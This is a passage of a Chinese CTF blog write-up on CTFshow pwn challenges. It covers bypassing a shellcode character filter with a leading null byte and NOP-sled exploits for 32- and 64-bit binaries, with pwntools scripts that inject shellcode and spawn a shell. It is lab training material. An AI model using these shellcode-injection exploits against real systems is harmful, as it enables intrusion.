class="keyword">for</span> ( i = &amp;unk_400F20; *i &amp;&amp; *i != *buf; ++i ) </span><br><span class="line">      ;</span><br><span class="line">    <span class="keyword">if</span> ( !*i )  <span class="comment">//  *i == 0，即字符集遍历结束（遇到 &#x27;\0&#x27;）</span></span><br><span class="line">      <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    ++buf;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个函数会对我们输入的shellcode进行检查，我们输入的shellcode的每一位字符要在unk_400F20中，检查的时候*i&#x3D;&#x3D;0会退出，<code>可以使用\x00来绕过</code>。</p><p>继续跟进unk_400F20：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.rodata:0000000000400F20 unk_400F20      db  5Ah ; Z             ; DATA XREF: check+8↑o</span><br><span class="line">.rodata:0000000000400F21                 db  5Ah ; Z</span><br><span class="line">.rodata:0000000000400F22                 db  4Ah ; J</span><br><span class="line">.rodata:0000000000400F23                 db  20h</span><br><span class="line">.rodata:0000000000400F24                 db  6Ch ; l</span><br><span class="line">.rodata:0000000000400F25                 db  6Fh ; o</span><br><span class="line">.rodata:0000000000400F26                 db  76h ; v</span><br><span class="line">.rodata:0000000000400F27                 db  65h ; e</span><br><span class="line">.rodata:0000000000400F28                 db  73h ; s</span><br><span class="line">.rodata:0000000000400F29                 db  20h</span><br><span class="line">.rodata:0000000000400F2A                 db  73h ; s</span><br><span class="line">.rodata:0000000000400F2B                 db  68h ; h</span><br><span class="line">.rodata:0000000000400F2C                 db  65h ; e</span><br><span class="line">.rodata:0000000000400F2D                 db  6Ch ; l</span><br><span class="line">.rodata:0000000000400F2E                 db  6Ch ; l</span><br><span class="line">.rodata:0000000000400F2F                 db  5Fh ; _</span><br><span class="line">.rodata:0000000000400F30                 db  63h ; c</span><br><span class="line">.rodata:0000000000400F31                 db  6Fh ; o</span><br><span class="line">.rodata:0000000000400F32                 db  64h ; d</span><br><span class="line">.rodata:0000000000400F33                 db  65h ; e</span><br><span class="line">.rodata:0000000000400F34                 db  2Ch ; ,</span><br><span class="line">.rodata:0000000000400F35                 db  61h ; a</span><br><span class="line">.rodata:0000000000400F36                 db  6Eh ; n</span><br><span class="line">.rodata:0000000000400F37                 db  64h ; d</span><br><span class="line">.rodata:0000000000400F38                 db  20h</span><br><span class="line">.rodata:0000000000400F39                 db  68h ; h</span><br><span class="line">.rodata:0000000000400F3A                 db  65h ; e</span><br><span class="line">.rodata:0000000000400F3B                 db  72h ; r</span><br><span class="line">.rodata:0000000000400F3C                 db  65h ; e</span><br><span class="line">.rodata:0000000000400F3D                 db  20h</span><br><span class="line">.rodata:0000000000400F3E                 db  69h ; i</span><br><span class="line">.rodata:0000000000400F3F                 db  73h ; s</span><br><span class="line">.rodata:0000000000400F40                 db  20h</span><br><span class="line">.rodata:0000000000400F41                 db  61h ; a</span><br><span class="line">.rodata:0000000000400F42                 db  20h</span><br><span class="line">.rodata:0000000000400F43                 db  67h ; g</span><br><span class="line">.rodata:0000000000400F44                 db  69h ; i</span><br><span class="line">.rodata:0000000000400F45                 db  66h ; f</span><br><span class="line">.rodata:0000000000400F46                 db  74h ; t</span><br><span class="line">.rodata:0000000000400F47                 db  3Ah ; :</span><br><span class="line">.rodata:0000000000400F48                 db  0Fh</span><br><span class="line">.rodata:0000000000400F49                 db    5</span><br><span class="line">.rodata:0000000000400F4A                 db  20h</span><br><span class="line">.rodata:0000000000400F4B                 db  65h ; e</span><br><span class="line">.rodata:0000000000400F4C                 db  6Eh ; n</span><br><span class="line">.rodata:0000000000400F4D                 db  6Ah ; j</span><br><span class="line">.rodata:0000000000400F4E                 db  6Fh ; o</span><br><span class="line">.rodata:0000000000400F4F                 db  79h ; y</span><br><span class="line">.rodata:0000000000400F50                 db  20h</span><br><span class="line">.rodata:0000000000400F51                 db  69h ; i</span><br><span class="line">.rodata:0000000000400F52                 db  74h ; t</span><br><span class="line">.rodata:0000000000400F53                 db  21h ; !</span><br><span class="line">.rodata:0000000000400F54                 db  0Ah</span><br><span class="line">.rodata:0000000000400F55                 db    0</span><br></pre></td></tr></table></figure><p>‘ZZJ loves shell_code,and here is a gift:’,0Fh,5,’ enjoy it!’,0Ah,0</p><p>那么只需要通过\x00绕过检查， 同时执行我们输入的shellcode就好，\x00B后面加上一个字符，对应一个汇编语句。所以可以通过\x00B\x22、\x00B\x00 、\x00J\x00、\x00RZ、\x00\x42\x22、\x00\x4a\x00等等来绕过那个检查</p><p>这个题一种解法是利用可见字符写shellcode 另一种就是绕过它 while(*a),也就是一般写代码的路，遇到\x00就不校验了，所以如果shellcode以\x00开头， 那是不是就解决了？ 先找一下汇编指以‘\x00’开头的：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> * <span class="comment">#提供 p8()（将整数转换为单字节）和 disasm()（反汇编机器码）函数</span></span><br><span class="line"><span class="keyword">from</span> itertools <span class="keyword">import</span> * <span class="comment">#提供 product() 函数，用于生成所有可能的字节组合</span></span><br><span class="line"><span class="keyword">import</span> re <span class="comment">#用于正则表达式匹配，过滤包含内存引用的指令</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#[p8(k) for k in range(256)] 生成 0x00 到 0xFF 的所有单字节。</span></span><br><span class="line"><span class="comment">#product(..., repeat=i) 生成这些字节的所有排列组合（如 (0x00), (0x01), ..., (0xFF, 0xFF)）</span></span><br><span class="line"><span class="comment">#每个测试序列以 \x00 开头，后接 1~2 个任意字节</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">3</span>):</span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> product([p8(k) <span class="keyword">for</span> k <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">256</span>)], repeat=i):</span><br><span class="line">        payload=<span class="string">b&quot;\x00&quot;</span> +<span class="string">b&quot;&quot;</span>.join(j)</span><br><span class="line">        res=disasm(payload) <span class="comment">#将机器码转换为汇编指令</span></span><br><span class="line">        <span class="keyword">if</span>(</span><br><span class="line">        res != <span class="string">&quot;\t\t...&quot;</span> <span class="comment">#排除无法反汇编的空指令</span></span><br><span class="line">        <span class="keyword">and</span> <span class="keyword">not</span> re.search(<span class="string">r&quot;\[\w*?\]&quot;</span>,res) <span class="comment">#排除包含内存引用的指令</span></span><br><span class="line">            <span class="keyword">and</span> <span class="string">&quot;.byte&quot;</span> <span class="keyword">not</span> <span class="keyword">in</span> res <span class="comment">#排除非标准指令</span></span><br><span class="line">        ):</span><br><span class="line">            <span class="built_in">print</span>(res)</span><br><span class="line">            <span class="comment">#input()</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">        ...</span><br><span class="line">   0:   00 c0                   add    al, al</span><br><span class="line">   0:   00 c1                   add    cl, al</span><br><span class="line">   0:   00 c2                   add    dl, al</span><br><span class="line">   0:   00 c3                   add    bl, al</span><br><span class="line">   0:   00 c4                   add    ah, al</span><br><span class="line">   0:   00 c5                   add    ch, al</span><br><span class="line">   0:   00 c6                   add    dh, al</span><br><span class="line">   0:   00 c7                   add    bh, al</span><br><span class="line">   0:   00 c8                   add    al, cl</span><br><span class="line">   0:   00 c9                   add    cl, cl</span><br><span class="line">   0:   00 ca                   add    dl, cl</span><br><span class="line">   0:   00 cb                   add    bl, cl</span><br><span class="line">   0:   00 cc                   add    ah, cl</span><br><span class="line">   0:   00 <span class="built_in">cd</span>                   add    ch, cl</span><br><span class="line">   0:   00 ce                   add    dh, cl</span><br><span class="line">   0:   00 cf                   add    bh, cl</span><br><span class="line">   0:   00 d0                   add    al, dl</span><br><span class="line">   0:   00 d1                   add    cl, dl</span><br><span class="line">   0:   00 d2                   add    dl, dl</span><br><span class="line">   0:   00 d3                   add    bl, dl</span><br><span class="line">   0:   00 d4                   add    ah, dl</span><br><span class="line">   0:   00 d5                   add    ch, dl</span><br><span class="line">   0:   00 d6                   add    dh, dl</span><br><span class="line">   0:   00 d7                   add    bh, dl</span><br><span class="line">   0:   00 d8                   add    al, bl</span><br><span class="line">   0:   00 d9                   add    cl, bl</span><br><span class="line">   0:   00 da                   add    dl, bl</span><br><span class="line">   0:   00 db                   add    bl, bl</span><br><span class="line">   0:   00 dc                   add    ah, bl</span><br><span class="line">   0:   00 <span class="built_in">dd</span>                   add    ch, bl</span><br><span class="line">   0:   00 de                   add    dh, bl</span><br><span class="line">   0:   00 <span class="built_in">df</span>                   add    bh, bl</span><br><span class="line">   0:   00 e0                   add    al, ah</span><br><span class="line">   0:   00 e1                   add    cl, ah</span><br><span class="line">   0:   00 e2                   add    dl, ah</span><br><span class="line">   0:   00 e3                   add    bl, ah</span><br><span class="line">   0:   00 e4                   add    ah, ah</span><br><span class="line">   0:   00 e5                   add    ch, ah</span><br><span class="line">   0:   00 e6                   add    dh, ah</span><br><span class="line">   0:   00 e7                   add    bh, ah</span><br><span class="line">   0:   00 e8                   add    al, ch</span><br><span class="line">   0:   00 e9                   add    cl, ch</span><br><span class="line">   0:   00 ea                   add    dl, ch</span><br><span class="line">   0:   00 eb                   add    bl, ch</span><br><span class="line">   0:   00 ec                   add    ah, ch</span><br><span class="line">   0:   00 ed                   add    ch, ch</span><br><span class="line">   0:   00 ee                   add    dh, ch</span><br><span class="line">   0:   00 ef                   add    bh, ch</span><br><span class="line">   0:   00 f0                   add    al, dh</span><br><span class="line">   0:   00 f1                   add    cl, dh</span><br><span class="line">   0:   00 f2                   add    dl, dh</span><br><span class="line">   0:   00 f3                   add    bl, dh</span><br><span class="line">   0:   00 f4                   add    ah, dh</span><br><span class="line">   0:   00 f5                   add    ch, dh</span><br><span class="line">   0:   00 f6                   add    dh, dh</span><br><span class="line">   0:   00 f7                   add    bh, dh</span><br><span class="line">   0:   00 f8                   add    al, bh</span><br><span class="line">   0:   00 f9                   add    cl, bh</span><br><span class="line">   0:   00 fa                   add    dl, bh</span><br><span class="line">   0:   00 fb                   add    bl, bh</span><br><span class="line">   0:   00 <span class="built_in">fc</span>                   add    ah, bh</span><br><span class="line">   0:   00 fd                   add    ch, bh</span><br><span class="line">   0:   00 fe                   add    dh, bh</span><br><span class="line">   0:   00 ff                   add    bh, bh</span><br><span class="line"><span class="comment">#省略，太多了</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#io = remote(&#x27;pwn.challenge.ctf.show&#x27;,28128)</span></span><br><span class="line">shellcode = <span class="string">b&#x27;\x00\xc0&#x27;</span> + asm(shellcraft.sh())</span><br><span class="line">io.sendline(shellcode)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 22221</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Restricted shellcode !</span><br><span class="line">    * *************************************</span><br><span class="line">Your shellcode is :</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn67（好难，艰难版）"><a href="#pwn67（好难，艰难版）" class="headerlink" title="pwn67（好难，艰难版）"></a>pwn67（好难，艰难版）</h2><p>Hint：32bit nop sled</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      canary found</span><br><span class="line">  NX:         NX unknown - GNU_STACK missing</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stack:      Executable</span><br><span class="line">  RWX:        Has RWX segments</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位关闭NX PIE 有可读可写可执行的段</p><p>因此我们可以从堆栈中执行。向程序提供 shellcode 很容易，因为它只要求输入。现在我们只需要找到一种方法来跳转到我们的 shellcode。</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> position; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">void</span> (*v5)(<span class="type">void</span>); <span class="comment">// [esp+0h] [ebp-1010h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> seed[<span class="number">1027</span>]; <span class="comment">// [esp+4h] [ebp-100Ch] BYREF</span></span><br><span class="line"></span><br><span class="line">  seed[<span class="number">1025</span>] = (<span class="type">unsigned</span> <span class="type">int</span>)&amp;argc;</span><br><span class="line">  seed[<span class="number">1024</span>] = __readgsdword(<span class="number">0x14u</span>);</span><br><span class="line">  setbuf(<span class="built_in">stdout</span>, <span class="number">0</span>);</span><br><span class="line">  logo();</span><br><span class="line">  srand((<span class="type">unsigned</span> <span class="type">int</span>)seed);</span><br><span class="line">  Loading();</span><br><span class="line">  acquire_satellites();</span><br><span class="line">  position = query_position();</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;We need to load the ctfshow_flag.\nThe current location: %p\n&quot;</span>, position);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;What will you do?\n&gt; &quot;</span>);</span><br><span class="line">  fgets((<span class="type">char</span> *)seed, <span class="number">4096</span>, <span class="built_in">stdin</span>);<span class="comment">//缓冲区的长度为 0x1000 字节（4096）</span></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Where do you start?\n&gt; &quot;</span>)</span><br><span class="line">  <span class="comment">//用户可输入任意内存地址，程序会直接调用该地址处的代码</span></span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%p&quot;</span>, &amp;v5);</span><br><span class="line">  v5();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>query_position() 可以知道缓冲区在堆栈上的大致位置，</p><p>跟进query_position()：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *<span class="title function_">query_position</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> v1; <span class="comment">// [esp+3h] [ebp-15h] BYREF</span></span><br><span class="line">  <span class="type">int</span> v2; <span class="comment">// [esp+4h] [ebp-14h]</span></span><br><span class="line">  <span class="type">char</span> *v3; <span class="comment">// [esp+8h] [ebp-10h]</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v4; <span class="comment">// [esp+Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v4 = __readgsdword(<span class="number">0x14u</span>);</span><br><span class="line">  v2 = rand() % <span class="number">1337</span> - <span class="number">668</span>;</span><br><span class="line">  v3 = &amp;v1 + v2; <span class="comment">// 计算 &amp;v1 偏移 v2 字节后的地址</span></span><br><span class="line">  <span class="keyword">return</span> &amp;v1 + v2; <span class="comment">// 返回这个随机栈地址</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>v2 &#x3D; rand() % 1337 - 668; ：这行代码使用 rand 函数生成一个随机数，并通过取模运算将其限制在范围 0 到 1336 之间。然后，从结果中减去 668，得到一个范围在-668 到 668 之间的随机整数，并将其存储在变量 v2 中。</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">低地址（栈底方向） </span><br><span class="line">+-------------------------+ &lt;-- ebp-0x1010 (buffer 起始)</span><br><span class="line">| buffer[0x1000]          |  大缓冲区，占 0x1000 字节</span><br><span class="line">| ...                     |</span><br><span class="line">| buffer[0]               |</span><br><span class="line">+-------------------------+ &lt;-- ebp-0x10 (padding 起始)</span><br><span class="line">| padding [0x10]          | 填充区，占0x10 字节（对齐用）【就是个栈桢对齐规则，不懂】</span><br><span class="line">+-------------------------+ &lt;-- ebp+0x4 (返回地址)</span><br><span class="line">| 返回地址（4字节）          |  call 指令自动压栈，函数返回时用</span><br><span class="line">+-------------------------+ &lt;-- ebp (旧 ebp)</span><br><span class="line">| 旧 ebp（4字节）           |  保存上一层栈帧的 ebp，函数返回时恢复</span><br><span class="line">+-------------------------+ &lt;-- ebp-0x15 (局部变量区)</span><br><span class="line">| stk [ebp-0x15]          |  局部变量区，占 0x15 字节（21字节）</span><br><span class="line">| ...                     |</span><br><span class="line">高地址（栈顶方向）</span><br></pre></td></tr></table></figure><p> 21 (0x15) + 4 + 4 + 16 (0x10) &#x3D; 45 字节 （0x2d）</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">#main函数从开始到执行到*query_position()函数的汇编代码</span><br><span class="line">.text:0804894F                 push    ebp; 保存调用者的ebp</span><br><span class="line">.text:08048950                 mov     ebp, esp; 设置新的ebp为当前esp</span><br><span class="line">.text:08048952                 push    ebx</span><br><span class="line">.text:08048953                 push    ecx</span><br><span class="line">.text:08048954                 sub     esp, 1010h; 为局部变量分配0x1010字节空间</span><br><span class="line">#此时栈顶ESP = EBP - 4 (ebx) - 4 (ecx) - 0x1010</span><br><span class="line">...</span><br><span class="line">.text:08048978                 sub     esp, 8; 为函数参数准备空间</span><br><span class="line">.text:0804897B                 push    0     ; 第一个参数buf</span><br><span class="line">.text:0804897D                 push    eax   ; 第二个参数stream</span><br><span class="line">.text:0804897E                 call    _setbuf</span><br><span class="line">.text:08048983                 add     esp, 10h ; 恢复栈指针</span><br><span class="line">#这里的add esp, 10h操作是为了恢复栈指针。实际上，函数调用前 ESP 减少了 0x10 (8 字节 sub + 8 字节 push)，但函数返回后 ESP 增加了 0x10，这是因为 C 调用约定中，调用者负责清理栈参数.</span><br><span class="line">#此时esp=ebp-0x4-0x4-0x1010-0x8-0x4-0x4+0x10=ebp-0x4-0x4-0x1010</span><br><span class="line">...</span><br><span class="line">.text:08048991                 sub     esp, 0Ch ; 为函数参数准备空间</span><br><span class="line">.text:08048994                 push    eax      ; 第一个参数seed</span><br><span class="line">.text:08048995                 call    _srand</span><br><span class="line">.text:0804899A                 add     esp, 10h ; 恢复栈指针</span><br><span class="line">#此时的栈顶为ebp-0x4-0x4-0x1010-0xc-0x4+0x10=ebp-0x4-0x4-0x1010</span><br><span class="line">.text:0804899D                 call    Loading</span><br><span class="line">.text:080489A2                 call    acquire_satellites</span><br><span class="line">.text:080489A7                 call    query_position</span><br></pre></td></tr></table></figure><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">高地址</span><br><span class="line">+-------------------------+</span><br><span class="line">│      main 函数栈帧        │</span><br><span class="line">+-------------------------+  &lt;-- main 的 EBP（新 EBP）    </span><br><span class="line">|  保存的旧 EBP             |  4B (EBP)  </span><br><span class="line">+-------------------------+                                                      </span><br><span class="line">|    保存的 EBX            |  4B (EBP-4)                                       </span><br><span class="line">+-------------------------+                                                   </span><br><span class="line">|   保存的 ECX             |  4B (EBP-8)                                         </span><br><span class="line">+-------------------------+                                                     </span><br><span class="line">|    未使用空间             |    </span><br><span class="line">|    ...                  |  0x1010 - 0x100C = 4B                             </span><br><span class="line">+-------------------------+                                                      </span><br><span class="line">│   seed 变量              |  4B (EBP-0x100C) &lt;-- main 局部变量                </span><br><span class="line">+-------------------------+                                                     </span><br><span class="line">|    v5 变量               |  4B (ebp-0x1010) &lt;-- main 局部变量  </span><br><span class="line">+-------------------------+</span><br><span class="line">|  未使用空间（0x10 相关）    |  #其实是add esp, 0x10 </span><br><span class="line">|    ...                  |  </span><br><span class="line">+-------------------------+  &lt;-- ebp-0x1010-0x4-0x4</span><br><span class="line">|调用query_position的返回地址|  4B (EBP-0x15 - 4 = EBP-0x19)         </span><br><span class="line">+-------------------------+                </span><br><span class="line">│   query_position 函数栈帧 |                                                   </span><br><span class="line">+-------------------------+  &lt;-- query_position 的 EBP                          </span><br><span class="line">|   保存的 main 的 EBP      |  4B (EBP) </span><br><span class="line">+-------------------------+                                                 </span><br><span class="line">|  query_position 局部变量  |                                                   </span><br><span class="line">|  ...                    |  0x15 - 4 = 0x11B                          </span><br><span class="line">+-------------------------+                                                     </span><br><span class="line">|   v1 变量                |  4B (EBP-0x15) &lt;-- query_position 局部变量     </span><br><span class="line">+-------------------------+  &lt;-- ESP（栈顶）</span><br><span class="line">低地址</span><br><span class="line">所以，可以看出来v1 到 seed 的偏移 = 0x15（v1 在 query_position 的偏移） </span><br><span class="line">                   + 0x4（query_position 保存的 main ebp） </span><br><span class="line">                   + 0x4（query_position 的返回地址） </span><br><span class="line">                   + 0x10（main 栈帧内的对齐/残留空间） </span><br><span class="line">                 = 0x2D</span><br></pre></td></tr></table></figure><h6 id="nop-sled-空操作雪橇"><a href="#nop-sled-空操作雪橇" class="headerlink" title="nop sled 空操作雪橇:"></a>nop sled 空操作雪橇:</h6><p>nop sled 是一种可以破解栈随机化的缓冲区溢出攻击方式。</p><p>攻击者通过输入字符串注入攻击代码。在实际的攻击代码前注入很长的 nop 指令 （操作，仅使程序计数器加一）序列，</p><p>只要程序的控制流指向该序列任意一处，程序计数器逐步加一，直到到达攻击代码的存在的地址，并执行。</p><p>由于栈地址在一定范围的随机性，攻击者不能够知道攻击代码注入的地址，而要执行攻击代码需要将函数的返回地址更改为攻击代码的地址（可通过缓冲区溢出的方式改写函数返回地址）。所以，只能在一定范围内（栈随机导致攻击代码地址一定范围内随机）枚举攻击代码位置（有依据的猜）。</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">不用 nop sled ， 函数返回地址 -------&gt; 攻击代码。</span><br><span class="line">使用 nop sled ， 函数返回地址 -------&gt; nop 序列（顺序执行） 直到攻击代码地址。</span><br></pre></td></tr></table></figure><p>为了安全地“绕过”不知道缓冲区的确切开始位置,我们可以：</p><ol><li>将 shellcode 填充为以 1336 nop 条指令开头 ( 0x90 )</li><li>使用的返回值 query_position ，添加 0x2d （如前所述），<strong>然后添加</strong> <strong>668</strong>。</li></ol><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">shellcode=asm(shellcraft.sh())</span><br><span class="line">payload = <span class="string">b&#x27;\x90&#x27;</span>*<span class="number">1336</span> + shellcode</span><br><span class="line">io.recvuntil(<span class="string">b&quot;The current location: 0x&quot;</span>)</span><br><span class="line">addr = u64(unhex(io.recvline(keepends=<span class="literal">False</span>).zfill(<span class="number">16</span>)), endian=<span class="string">&#x27;big&#x27;</span>)</span><br><span class="line"><span class="comment">#读取一行数据（keepends=False 去掉换行符），然后用 zfill(16) 补零到 16 个字符,unhex(...)：把十六进制字符串转成字节序列；u64(..., endian=&#x27;big&#x27;)：将字节序列按大端序转成 64 位整数[十六进制字符串已经是大端序了]</span></span><br><span class="line"><span class="built_in">print</span> (<span class="string">&quot;Addr: &quot;</span> + <span class="built_in">hex</span>(addr))</span><br><span class="line">io.recvuntil(<span class="string">b&quot;&gt; &quot;</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recvuntil(<span class="string">b&quot;&gt; &quot;</span>)</span><br><span class="line">sh = addr + <span class="number">668</span> + <span class="number">0x2d</span>;</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Sending: &quot;</span> + <span class="built_in">hex</span>(sh))</span><br><span class="line">io.sendline(<span class="built_in">hex</span>(sh).encode())</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 155</span><br><span class="line">Addr: 0xff9924d2</span><br><span class="line">Sending: 0xff99279b</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><p>还看了这个师傅的<a href="https://blog.csdn.net/akdelt/article/details/135954144?spm=1001.2014.3001.5502">CTFshow-pwn入门-栈溢出 (慢慢更_ctfshow pwn50-CSDN博客</a></p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">unsigned int seed[1027]; // [esp+4h] [ebp-100Ch] BYREF</span><br><span class="line">char v1; // [esp+3h] [ebp-15h] BYREF //</span><br><span class="line"></span><br><span class="line">gdb ./pwn</span><br><span class="line">pwndbg&gt; b *0x080489A7#断在query_position()的call指令处</span><br><span class="line">pwndbg&gt; info registers ebp</span><br><span class="line">ebp            0xffa51578          0xffa51578</span><br><span class="line">pwndbg&gt; si# 执行push ebp，旧ebp被压入栈，esp减少4</span><br><span class="line"># 此时EIP会指向0x80487d2（mov ebp, esp），ebp仍为0xffa51578</span><br><span class="line">pwndbg&gt; si</span><br><span class="line"># 执行mov ebp, esp，更新ebp为当前esp的值（新ebp）</span><br><span class="line"># 此时EIP指向0x80487d4（下一条指令）</span><br><span class="line">   0x80487d1 &lt;query_position&gt;       push   ebp</span><br><span class="line"> ► 0x80487d2 &lt;query_position+1&gt;     mov    ebp, esp  </span><br><span class="line"> </span><br><span class="line">EBP =&gt; 0xffa50558 —▸ 0xffa51578 ◂— 0</span><br><span class="line">两个 ebp 相差 0x1020, 1020 = 4 + 4 + padding + 0x100C,padding = 0xC</span><br><span class="line">所以 v1 到 seed 偏移量 = 0x15 + 4 + 4 + padding = 41</span><br><span class="line"></span><br><span class="line">from pwn import *</span><br><span class="line">context(arch=&#x27;i386&#x27;,os=&#x27;linux&#x27;,log_level = &#x27;debug&#x27;)</span><br><span class="line">io = process(&#x27;./pwn&#x27;)</span><br><span class="line">shellcode = asm(shellcraft.sh())</span><br><span class="line">io.recvuntil(b&quot;The current location: &quot;)</span><br><span class="line">v5_addr = eval(io.recvuntil(b&quot;\n&quot;,drop=True))#eval() 把这个十六进制字符串转换成整数</span><br><span class="line">padding = 12</span><br><span class="line">v1_seed = 0x15+4+4+padding #0x29也可以（不知道怎么看的）</span><br><span class="line">print(hex(v5_addr))</span><br><span class="line"></span><br><span class="line">payload = flat([b&quot;\x90&quot;*1336,shellcode])//相加</span><br><span class="line">sh_addr = hex(v5_addr+668+v1_seed)encode()</span><br><span class="line"></span><br><span class="line">io.sendlineafter(b&quot;What will you do?\n&gt; &quot;, payload) </span><br><span class="line">io.sendlineafter(b&quot;Where do you start?\n&gt; &quot;, sh_addr)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><h2 id="pwn68"><a href="#pwn68" class="headerlink" title="pwn68"></a>pwn68</h2><p>Hint：64bit nop sled</p><p>分析结果同上，仅仅是32位与64位的区别。</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">char seed[4104]; // [rsp+10h] [rbp-1010h] BYREF</span><br><span class="line">char v1; // [rsp+Bh] [rbp-15h] BYREF</span><br><span class="line">ebp:0x7ffe53d64860-&gt;0x7ffe53d63830 </span><br><span class="line">两个 ebp 相差 0x1030, 0x1030 = 8 + 8 + padding + 0x1010,padding = 0x10</span><br><span class="line">所以 v1 到 seed 偏移量 = 0x15 + 8 + 8 + padding = 0x35</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">shellcode=asm(shellcraft.sh())</span><br><span class="line">payload = <span class="string">b&#x27;\x90&#x27;</span>*<span class="number">1336</span> + shellcode</span><br><span class="line">io.recvuntil(<span class="string">b&quot;The current location: 0x&quot;</span>)</span><br><span class="line">addr = u64(unhex(io.recvline(keepends=<span class="literal">False</span>).zfill(<span class="number">16</span>)),endian=<span class="string">&#x27;big&#x27;</span>)</span><br><span class="line"><span class="comment">#读取一行数据（keepends=False 去掉换行符），然后用 zfill(16) 补零到 16 个字符</span></span><br><span class="line"><span class="built_in">print</span> (<span class="string">&quot;Addr: &quot;</span> + <span class="built_in">hex</span>(addr))</span><br><span class="line">io.recvuntil(<span class="string">b&quot;&gt; &quot;</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recvuntil(<span class="string">b&quot;&gt; &quot;</span>)</span><br><span class="line">sh = addr + <span class="number">668</span> + <span class="number">0x35</span>;</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Sending: &quot;</span> + <span class="built_in">hex</span>(sh))</span><br><span class="line">io.sendline(<span class="built_in">hex</span>(sh).encode())</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span 